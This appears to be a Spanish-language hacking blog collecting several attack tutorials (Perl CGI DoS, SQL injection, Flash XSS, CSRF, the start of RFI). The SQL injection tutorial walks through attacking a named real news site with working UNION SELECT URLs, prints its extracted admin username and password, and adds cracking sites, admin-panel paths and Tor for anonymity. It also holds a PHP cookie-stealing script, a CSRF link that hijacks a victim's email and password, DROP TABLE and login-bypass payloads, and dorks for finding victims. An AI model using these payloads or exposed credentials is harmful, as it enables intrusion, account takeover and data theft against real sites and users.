Relato del Autor.
Bueno antes que nada saludos a todo los lectores les voy a explicar un método de ataque Que se basa en la explotación de programas basados en Web pues, Son dos tipos de Ataques son:
1.) Negación de servicio
2.) Escala de privilegios
Bueno primero que nada debemos aprovechar buscando en Google con el Dork:
filetype: pl "$ FORM ("
Bueno con esto cada archivo que encontraran será un script en perl mucho son Ejecutables dentro de los resultados de búsqueda encontraran cosas como por ejemplo: $ FORM ( 'Mode')
¿Qué modo usa la variable?
El atacante puede buscar declaraciones provistas usando eq, ne, o ===
Ejemplo:
Admin) if ($ FORM ( 'Mode' en 'A')
La dirección de la solicitud URL seria.
http://www.site.org/search/search.pl?Mode=Administrator
Muchas formas de nombrar la ultima Puede ser usuario, User, Nombre etc…
En esta URL tenemos dos opciones:
1.) Intentar utilizar el servidor ejecutando comandos para escalar privilegios
“Un Recorrido de directorio, Archivo de contraseña de agarrar, chmod, etc…”
2.) Utilizarlo para crear una condición de una denegación de servicio
Si nuestro objetivo es el primero entonces le corresponderíamos a la creatividad y la resolución de puzzles nos podría ayudar.
Y pues, si vamos para una condición de denegación de servicios ( Esta opción seria mas fácil ) Cuando el atacante encuentra una variable, Un comando POST en la dirección, Con una variable incluida que esta echa por el mismo en
(PERL O C) También enviar un comando POST al servidor Web.
Digamos que el atacante encuentra un libro de visitas y hay dos variables casi siempre ‘Nombre’ ‘Comentario’ como sabemos en el libro de visitas hará:
POST / HTTP/1.1 cgi-bin/hola.pl
minombre=BugDox&comentario=Ejemplo de variable = minombre BugDox & comentario = ejemplo de variable
No digo que les quede si pero mas o menos así seria las 2 variables es un bucle White rápido, El post anterior causaría una condición DoS, Para asegurarse que algo esta ejecutable.
Author: ShadinessDark
Dedicated: BPSystem - BugDox
Saludos Especiales a mis brothers de la comunidad ;D
Negacion de servicios - Escala de privilegios
Publicado por ShadinessDark[SSH]Ataque By ShadinessDark [Formato Doc.]
Publicado por ShadinessDarkBueno aca les dejo una pequeña recopilacion de lo que aprendi hace poco completamente no viene todo de una sola idea saque ideas de lo que aprendi veamos que tal les parece.
http://www.4shared.com/file/148519236/a55421df/SSH_Ataque.html
Dedicado a mi comunidad: Ethical-Security.co.cc BugDox :) BpSystemTeam =D
[Tutorial] Sql Injection By ShadinessDark
Publicado por ShadinessDarkSQL INJECTION By ShadinessDark
By ShadinessDark
Puntos a seguir:
1.) ¿Que es SQL injection?
2.) Jugando Con Google
3.) Testeando vulnerabilidad
4.) Buscando panel
5.) Conclusion
6.) Despedida
1.) ¿Que es SQL injection?
Bueno digamos que es un truco para inyectar comandos SQL en un sitio Web
OH hacer una consulta como un insumo, Principalmente el atacante la hace en la
Forma de método GET – POST la mayoría de los sitios de parámetros hace una Consulta SQL en la base de datos digamos que tenemos una pagina de detalles
Con un producto en PHP que toma un parámetro product_id de un método GET
Y obtiene el detalle de la base de datos una consulta SQL con el ataque de Injection SQL, Un atacante puede enviar una consulta SQL diseñada desde la dirección URL, De
La pagina de detalles del producto se recuerdan el product_id bueno la consulta la hace
Desde hay con eso podría hacer mucho daño a la base de datos, Podría incluso eliminar la tabla de base de datos…
Para saber mas sobre SQL pueden acceder a Aqui...
2.) Jugando Con Google
Vamos a jugar un como con google se trata de DORKS con este conseguiremos
Web al azar visitemos www.google.com
Nos podemos conformar con una simple dork, En mi caso estoy usando:
Código:
/noticias.php?id=
Otros Dorks
Código:
/videos.php?id=
/post.php?id=
/Noticias.php?id=
/index.php?id=7
/proyecto.php?id=
/Ventas.php?id=
Y otros.
Esto lo vamos a usar para buscar nuestra victima nos saldrán muchas paginas
Web en google con cualquiera de estos DORKS claro que no toda las que aparecen
Son vulnerables hay que buscar y buscar correr con suerte por decir así.
3.) Testeando vulnerabilidad
Cuando entremos a una de las Web de google y termine en:
Código:
?id=
Vamos agregarle ' quedaría:
Código:
?id='
Si es vulnerable nos saltara el siguiente error:
Ejemplo les pondré una Web Vulnerable:
Código:
http://www.diariopuerto.com/noticias.php?id=%27
Cuando sabemos que es vulnerable le quitamos el (‘) y ponemos
Código:
-1+union+all+select+0—
Como sabemos unión simplemente es una cláusula para combinar
Los resultados de varias consultas que se hacen en la base de datos
Y con SELECT debemos confirmarlo manualmente.
Ya tenemos una victima en mi caso es:
Código:
http://www.diariopuerto.com/
Vamos encontrando las columnas un breve ejemplo
Código:
http://www.diariopuerto.com/noticias.php?id=1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
En este caso tiene 21 columnas como pueden ver me tiro los siguientes números:
Claro que una web puede tener más de 21 columnas o menos de 21 columnas
Cuando les tire unos números parecidos a los de la imagen hasta hay llega la
Columna tampoco que les tirara los mismos números puede tirar 1 2 3 4 5 6 7 etc.…
No pondré el ejemplo de usar: +from+information_schema.tables—
Ya que en muchos tutoriales lo usan lo haremos por los caracteres que conozco…
Ahora busquemos la tabla ya hemos sacado la columna ahora vamos por la tabla
Agregamos lo siguiente en la url:
Código:
+from+
Quedaría así:
Código:
http://www.diariopuerto.com/noticias.php?id=1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+
Ahora vamos a buscar la tabla la tabla lo hacemos de la siguiente manera:
Código:
http://www.diariopuerto.com/noticias.php?id=1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+usuarios
Después de +from+ agregamos la tabla no siempre será usuario algunos ejemplos de tabla.
Usuarios
Usuario
Nombre
Nombres
Email
Emails
Mail
Mails
User
Users
Users_name
User_name
adm_usuario
Admin.
Login
Usr
Admin._login
Esta es una de las más comunes en sitios vulnerables a la hora de sacar TABLAS.
Bueno ya les puse lo de arriba la mía salio con usuarios si por ejemplo ponemos
Usuarios y la tabla no es nos seguirá saliendo el error en la sintaxis, Pero si la tabla
Es nos saldrán los numeritos y esa es la correcta.
Después de tener la tabla ahora saquemos usuario y password del administrador
Ejemplo:
Código:
http://www.diariopuerto.com/noticias.php?id=1+union+select+0,1,2,3,4,5,6,login,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+usuarios
Como saben en mi caso la Web que use me tiro 3 números en la cual 7 8 y 9
Ahora vamos a remplazar un numero en mi caso reemplazo el 7 lo borro y coloco
,login, como me agarro esto me saltara el nombre de la victima en este caso el usuario
Del login es: puerto
Como saben no siempre agarrara poniendo login en algunas te piden usuario, usuarios, nombres etc.…
Arriba les deje un poco…
Ahora ya tenemos usuario del administrador del sitio ahora vamos a buscar el password es decir la clave.
Vamos a quitar el login del 7 y vamos a remplazarlo por esto concat(login,0x3a,password)
Quedaría así:
Código:
http://www.diariopuerto.com/noticias.php?id=1+union+select+0,1,2,3,4,5,6,concat%28login,0x3a,password%29,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+usuarios
concat(login,0x3a,password) Donde va login hay va la columna del usuario no Vuelvo y repito no siempre es login y vemos 0x3a Esto solo es un carácter hexadecimal y vemos que agregamos (,) y viene password que es por la cual
Donde sale la contraseña del usuario 0x3a,password tampoco siempre es Password
Hay varios tipos de formas por ejemplo:
Clave
Claves
Password
Pwd
Pass
Pas
Contraseña (Muy poco la agarra)
Ya tenemos pass y user en mi caso el usuario y la contraseña:
Código:
puerto:puerto7002
Usuario: puerto
Clave: puerto7002
Muchas veces el password nos viene encriptado por hay hay unos MD5 online
Para que sirve bueno cuando les salga la contraseña encriptada un ejemplo:
Código:
A259ECE2E42597865AB7ACC883A21FFE
Esta clave encriptada dice ShadinessDark.
Bueno esto lo usan los Web Master para darle un dolor de cabeza
A los atacantes ya que muchas veces las claves cuestan un mundo
Desencriptarlas…
MD5 Online
http://passcracking.com/
Hay password muy difíciles de desencriptar como por ejemplo la del PENTAGONO pero podemos hacer un desencriptador en algoritmo
Que genere un password hasta que de con la verdadera.
4.) Buscando panel
Ya después que tenemos los datos del sitio es decir usuario y contraseña de
Administrador vamos a buscar el login a veces en algunas Web hay suertes
En otras no por ejemplo en la que puse como ejemplo no he encontrado el
Panel así que les daré un ejemplo de cómo hacerlo ejemplo:
www.xD.com/login.php
www.xD.com/login
www.xD.com/admin
www.xD.com/admin.php
www.xD.com/phpmyadmin
www.xD.com/cpanel
www.xD.com/login/admin
Bueno encontramos el panel y nos logeamos normalmente como administradores
Recuerden no hacer mal de borrar todo ni nada.
User un buen Proxy tor o proxymafia que es online…
5.) Conclusion
Como podemos ver no es algo del otro mundo se trata de hacer inyecciones a través de La URL, Con esto podemos lograr mucho pero recordemos no dañar los sitios…
6.) Despedida
Este tutorial es dedicado a dos amigos de BugDox que me lo han pedido
Y bueno ya sabemos que hay muchos tutoriales en la red y muy explicados
Pero me tome la libertad de hacerme uno un saludo grande a mi comunidad…
By ShadinessDark
Team V1rtual Viru$ Bl@ck Team
Método de ataque y ejemplo de Software By ShadinessDark
Publicado por ShadinessDarkEl peligro de permitir flash en los sitios.
By ShadinessDark
1.) Presentación
2.) ¿Que es flash?
3.) Método de ataque y ejemplo de Software
4.) Conclusión
5.) Despedida
1.) Presentación
Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red…
¿Por qué diferente?
Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados
¿A que se debe este tutorial?
Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?
Los saludos más especiales para mis compañeros:
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz
1.) ¿Que es flash?
Segun la wikipedia:
Adobe Flash es una aplicación en forma de estudio de animación que trabaja sobre "Fotogramas" destinado a la producción y entrega de contenido interactivo para diferentes audiencias alrededor del mundo sin importar la plataforma. Es actualmente escrito y distribuido por Adobe Systems, y utiliza gráficos vectoriales e imágenes ráster, sonido, código de programa, flujo de vídeo y audio bidireccional (el flujo de subida sólo está disponible si se usa conjuntamente con Macromedia Flash Communication Server). En sentido estricto, Flash es el entorno y Flash Player es el programa de máquina virtual utilizado para ejecutar los archivos generados con Flash.
Los archivos de Flash, que tienen generalmente la extensión de archivo SWF, pueden aparecer en una página web para ser vista en un navegador, o pueden ser reproducidos independientemente por un reproductor Flash. Los archivos de Flash aparecen muy a menudo como animaciones en páginas Web y sitios Web multimedia, y más recientemente Aplicaciones de Internet Ricas. Son también ampliamente utilizados en anuncios de la web.
En versiones anteriores, Macromedia amplió a Flash más allá de las animaciones simples, convirtiéndolo en una herramienta de desarrollo completa, para crear principalmente elementos multimedia e interactivos para Internet.
Fue hasta 2005 perteneciente a la empresa Macromedia conocido hasta entonces como Macromedia Flash® y adquirido por Adobe Systems (desde entonces conocido como Adobe Flash) ampliando con ello su portafolio de productos dentro del mercado. Sacado de aqui
3.) Método de ataque y ejemplo de Software
Vamos a imaginar que tenemos un sitio www.xD.com este sitio permite a los
Usuarios poner sus firmas en flash y sus imágenes flash haciendo el uso de la
Etiqueta EMBED, Imaginemos que vamos a nuestro perfil donde editamos nuestros
Datos y entramos a donde colocamos la firma y agregamos.
Código:
src="http://www.xD.com/miflash.swf"
pluginspage=”http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash”pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"
type="application/x-shockwave-flash" type = "application / x-shockwave-flash"
width="0" width = "0"
height="0" height = "0"
>
Este código lo añade el atacante en la cajita de TEXTO del foro de la victima la cual
Permite robar las cookies de sesión de usuario digamos que este ataque se reproduce
En sitios que permiten usar mucho flash hay una página que hace poco mire que fue
Por ella que me nació la idea de hacer este tutorial quizás muchos la conocen http://www.deviantart.com/ bueno hay antes permitían mucho usar el flash no se si
Todavía lo hagan bueno este sitio permite que suban archivos los usuarios…
Bueno en el caso de los SMF el flash es peligroso va para los webmasters empezando
Por mi que uso flash en mi SMF ya en SMF la etiqueta es [flash]http://y cierra[/flash]
La etiqueta [Flash]http://se convierte en la etiqueta de un objeto correcto…
Un ejemplo:
Código:
[Flash] http://www.xD.com/miflash.swf[/flash]
Interpretemos por el script y nos quedaría algo así en lo anterior:
Código:
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" classid = "clsid: D27CDB6E-AE6D-11cf-96B8-444553540000"
width=200 width = 200
height=200> height = 200>
name=movie = nombre de la película
value= http://www.xD.com/miflash.swf> value = http://eyeonsecurity.net/download/example.swf>
name=play name =juego
value=true> valor = true>
name=loop = nombre del punto de
value=true> valor = true>
value=high> valor =alto>
src=http://www.xD.com/miflash.swf
src=http://www.xD.com/miflash.swf
width=200 width = 200
height=200 height = 200
play=true Escuchar = true
loop=true loop = true
quality=high> quality = high>
Bueno Uds se preguntaran que es clsid:D27CDB6E-AE6D-11cf-96B8-444553540000
Solo es un tag.
Bueno estos solo son ejemplos toda pagina Web que permite FLASH en la Web es probablemente vulnerable a un ataque XSS
¿Cómo protegemos nuestro sitio Web?
Solamente no permitamos los archivos flash en web-app. También una buena solución
Seria analizar la realidad del problema animación flash y el filtro de parámetros maliciosos
Usados por el atacante por medio de getURL(). Con esto me refiero a cuando un sitio Web
Permite que los archivos swf sean cargados al servidor, Muchos webmasters permiten a los Usuarios subir archivos lo mas seguro seria que los Webmasters del sitio bloqueen todo lo que
Tenga que ver con flash que contiene getURL() Esta acción no se refieren específicamente el ataque se reproduce a un sitio http xD también podemos cambiar getURL() esto podemos lograrlo por medio de la especificación de la ventana "_blank" me imagino que la han oído
En lenguaje de programación Web al hacer el cambio descritos la dirección URL javascript no
Se ejecutara con privilegios en el dominio que te aloja…
Como muchos sabemos ActionScript es un lenguaje es un lenguaje de Scripting complejo y proporcionamos con el la función eval() esto le permite a los atacantes mas sofisticados para
Evitar la protección de una análisis de ActionScript…
Un buen ejemplo le definiríamos asi:
Código:
a = "get";
b="URL"; b = "URL";
c="javascript:"; c = "javascript:";
d="alert('bypassed');void(0);"; d = "alert ( 'omite'); void (0);";
eval(a+b)(c+d); eval (a + b) (c + d);
Espero y me entiendan…
4.) Conclusión
Bueno si le vemos un poco la lógica a todo no es muy interesante pero peligrosa
Para los Webmaster a la hora de permitir usar SWF en su sitio Web, Si vemos
Este ataque nos lleva a un ataque XSS, Creo que con la explicación es más que
Entendible que el archivo la cual hemos subido como flash cuando la victima
Le da clic podemos sacar las cookies y así usarla para las travesuras si me equivoco
Corríjanme.
5.) Despedida
Otro tutorial mas que hago no es la gran cosa a lo mejor tengo errores por hay
Si los tengo me gustarian las {Criticas} Son muy importante para correjir a los
Demas...
No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…
Group’s Ethical.
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
ShadinessDark
Mi team V1rtu@l VIRu$ Bl@ck Team
[Tutorial] Vulnerabilidad CSRF By ShadinessDark [Colaboracion de Zero Bits]
Publicado por ShadinessDark1.) Presentación
2.) Que es CSRF
3.) Quien descubrió la vulnerabilidad CSRF
4.) CSRF y Xss
5) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits
6.) Testeando vulnerabilidad CSRF y programas el code vulnerable
7.) Sacando una conclusión a todo
8.) Como cuidar nuestra Web de este tipo de ataques
9.) Despedida
1.) Presentación
Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red…
¿Por qué diferente?
Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados
¿A que se debe este tutorial?
Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?
Los saludos más especiales para mis compañeros:
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz
2.) Que es CSRF
Bueno como muchos quizás han leído en la wikipedia ya csrf representa a
Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo
Así Presiona este link para que te lleve a mi sitio
Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.
Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde
Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}
Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.
3.) Quien descubrió la vulnerabilidad CSRF
En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un
Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso
Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada
En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado
Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.
Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de Aqui solo lo logre traducir...
4.) CSRF y Xss
Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad
Es parecida o igual a xss.
Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio
Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.
El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario…
4.1) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits
Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.
Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...
- ROBO DE COOKIES EN XSS
Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code
[url] o [img]
Para algunos que no entienden lo de
[url] y [img]
[url]
"javascript:alert("xss")"Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>
PD: Este code no es mio es de Chebyte. Pero esto es basico...
Bueno, le explicare el code para quienes no lo entiendan:
$cookie = $_REQUEST[cookie] : El que recibe la cookie
$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura
fput($file, "$cookie\n") : Muestra la cookie
fclose($file) : Cierra
Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:
Y Tachan! tienes la cookie...
Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:
1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking
2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..
3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona
4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP
5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]
5. SCRIPT KIDDIE: Hacking MSN -.-"
Ahora pasaremos a hablar del CSRF clasico:
- XSRF/CSRF Clasico
Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.
Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):
Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...
Tambien si al cambiar datos salga un link como este:
Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:
Man vota por mi
[url=http://www.web.com/perfil.php?mail=EMAIL_DEL_ATACANTE_BUAJAJA@hotmail.com&pass=PasSCambiadoBuajaja]AQUI[/url]
Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..
Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...
Mis saludos a:
ShadinessDark, KuTer, _84kur10_, k4mus23, Jeferx, D4NB4R, Darki113r, ChEk0_Hack, DestruKci0oN, Xianur0, Zer0 Z0orG, Zer0-R00t, x_jeshua, ZH4RK, zonithack, Bashettzx, Crazyhacker16, krisium, tkdead, MaNditOo, loreValdy, wscalle1 y todos mis grandes amigos =P...
Saludos a Pandora's Box Team..
5.)Testeando vulnerabilidad CSRF y programas el code vulnerable
Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una
Imagen, daré un breve ejemplo:
Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito
Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:
Por ejemplo usando una imagen src.
Script
También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript - JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen
Realizar peticiones REMOTAS.
¿Cambiando datos de la victima?
Bueno este breve codigo es solo un pequeño ejemplo:
Como podemos ver en este código hacemos una petición a POST
Acuérdense que arriba les comente que cuando el atacante usa un código
Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...
¿A dónde se dirige esta petición?
Bueno esta petición se dirige a la base de datos del sitio me explico
Cada vez que hacemos cambios extremos en nuestro perfil todo pasa
Por una base de datos bueno cuando la victima le da clic a la url enviada
Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta
De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?
7.) Sacando una conclusión a todo.
Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.
Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.
Haciendo una petición en la base de datos del código del atacante…
8.) Como cuidar nuestra Web de este tipo de ataques
Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga
‘Actualcontraseña’ Antes de seguir el código que pondré es sacado de la siguiente pagina De aquí
Después que estemos en el index.php introduciremos este código con el Actualcontraseña esto tiene que ir dentro de
Luego buscamos el archive que se llama Config.php lo pueden encontrar
Por el mismo FTP y le agregamos lo siguiente:
$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";
$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);
?>En el archive datos.php usaremos lo siguiente:
include('config.php');
session_start();
if(isset($_REQUEST['usuario']))
$usuario = $_REQUEST['usuario'];
else
die("Rellene el campo Usuario");
if(isset($_REQUEST['email']))
$email = $_REQUEST['email];
else
die("Rellene el campo email");
if(isset($_REQUEST['contraseña']))
$contraseña = $_REQUEST['contraseña];
else
die("Rellene el campo Contraseña");
if(isset($_REQUEST['emailalternativo']))
$emailalternativo = $_REQUEST['emailalternativo];
else
die("Falta el email alternativo");
if(isset($_REQUEST['actualcontraseña']))
$actualcontraseña = $_REQUEST['actualcontraseña];
else
die("Especifique la contraseña");
if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";
}else{
$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{
CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
?>
Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin
Y le damos donde dice Consulta y introducen el siguiente código:
CREATE TABLE `myhosting_usuarios` (
`id` int(11) NOT NULL auto_increment,
`usuario` varchar(15) NOT NULL,
`email` varchar(15) NOT NULL,
`emailalternativo` varchar(15) NOT NULL,
`contraseña` varchar(150) NOT NULL,
`contraseñaa` varchar(150) NOT NULL,
KEY `id` (`id`)
) ENGINE=MyISAM;
INSERT INTO `myhosting_usuarios` VALUES (1, 'SecurityKill', 'mymail@gmail.com', 'mymail2@gmail.com', 'mypass', 'mypass');
9.) Despedida
Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron
Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación
Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran
Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei
Me gustan las críticas así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos
Puesto en algunos la fuente les deseo un gran fin de semana…
No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…
Group’s Ethical.
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
ShadinessDark
Mi team V1rtu@l VIRu$ Bl@ck Team
Ataque SQL y ejemplos PHP By shadinessdark
Publicado por ShadinessDark¿Qué es la injection SQL?
Bueno digamos que es un truco para inyectar comandos SQL en un sitio Web
OH hacer una consulta como un insumo, Principalmente el atacante la hace en la
Forma de método GET – POST la mayoría de los sitios de parámetros hace una Consulta SQL en la base de datos digamos que tenemos una pagina de detalles
Con un producto en PHP que toma un parámetro product_id de un método GET
Y obtiene el detalle de la base de datos una consulta SQL con el ataque de Injection SQL, Un atacante puede enviar una consulta SQL diseñada desde la dirección URL, De
La pagina de detalles del producto se recuerdan el product_id bueno la consulta la hace
Desde hay con eso podría hacer mucho daño a la base de datos, Podría incluso eliminar la tabla de base de datos…
Para saber mas sobre SQL pueden acceder a Aqui...
¿Método de ataque SQL injection en PHP?
Casi siempre la consulta habitual de sesión de un usuario en php es:
$ sql = "SELECT * FROM tbl_user WHERE username ='".$_ POST [ '']."' Aquí el nombre de usuario y la contraseña='".$_ POST [' password']."'";
$result=mysql_query($sql); $ resultado = mysql_query ($sql);
Bueno muchos de UDS.
Piensan que el usuario solo puede iniciar sesión validad en el interior del servidor pero eso seria True.Well nadie podría acceder a la pagina con un simple truco vamos a suponer que yo soy el Atacante me llamo ShadinessDark inyecto X 'o' x '=' x en el campo de nombre y usuario y En el campo de contraseña entonces lo final seria asi:
X '=' x 'y password =' x tbl_user SELECT * FROM WHERE username = 'x' o 'o' x '=' x ';
Como se puede veer la consulta la acepta Como cierto y nos devuelve la fila de la base de datos como resultado, el atacante puede iniciar sesión en el sistema como root…
En el ataque de SQL un atacante puede incluso caer de una tabla de base de datos claro si el usuario tiene Permiso DROP en la base de datos…
Un ejemplo de consulta de una pagina con detalle de producto:
$ sql = "SELECT * FROM producto WHERE id_producto ='".$_ GET [ 'id_producto']."'";
Ahora el atacante inyecta comandos SQL en la URL de la pagina el código podría ser Así 11 '; del DROP TABLE producto; # se vería algo así:
http://xD.com/producto.php?id=11 '; Producto ; #
Ahora la consulta se convertiría en la siguiente forma:
SELECT * FROM productos WHERE id_producto = '11 '; Producto ; #';
Muchos se preguntan que hace el ‘#’ ya que en lenguajes como perl es solamente un Simple comentario esta consulta ‘#’ simplemente ignora las comillas simple pasadas (‘) de la consulta…
Ósea ignora el resto de las queray.in…
By ShadinessDark
Dedicación: BugDox
Team: V1rtu@l VIRu$ Bl@ck Team
Group’s Ethical.
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
ShadinessDark
{Las criticas son importantes para arreglar mis errores}
[Tutorial] RFI By ShadinessDark
Publicado por ShadinessDark1.) Presentación
2.) Que es RFI
3.) Dorks RFI
4.) Testeando la vulnerabilidad
5.) Sacando una conclusión a todo
6.) Como cuidar nuestra Web de este tipo de ataques
7.) Despedida
1.) Presentación
Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red…
¿Por qué diferente?
Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados
¿A que se debe este tutorial?
Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?
Los saludos más especiales para mis compañeros:
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz
Zonithahack
3mp3z@nd0
2.) Que es RFI
RFI tiene como nombre Remote File Inclusión en español inclusión remota de archivo
Como ya saben que dice en la wikipedia esta vulnerabilidad se encuentra en páginas
Dinámicas ósea echas en PHP no en todo tipo de Web como saben siempre es depende
Del buen programador esta vulnerabilidad se encuentra en include() casi siempre
Buscamos en los códigos de fuentes por eso es bueno estar pendiente de nuestra Programación cuando tenemos un sitio Web, Un atacante puede inyectar su código
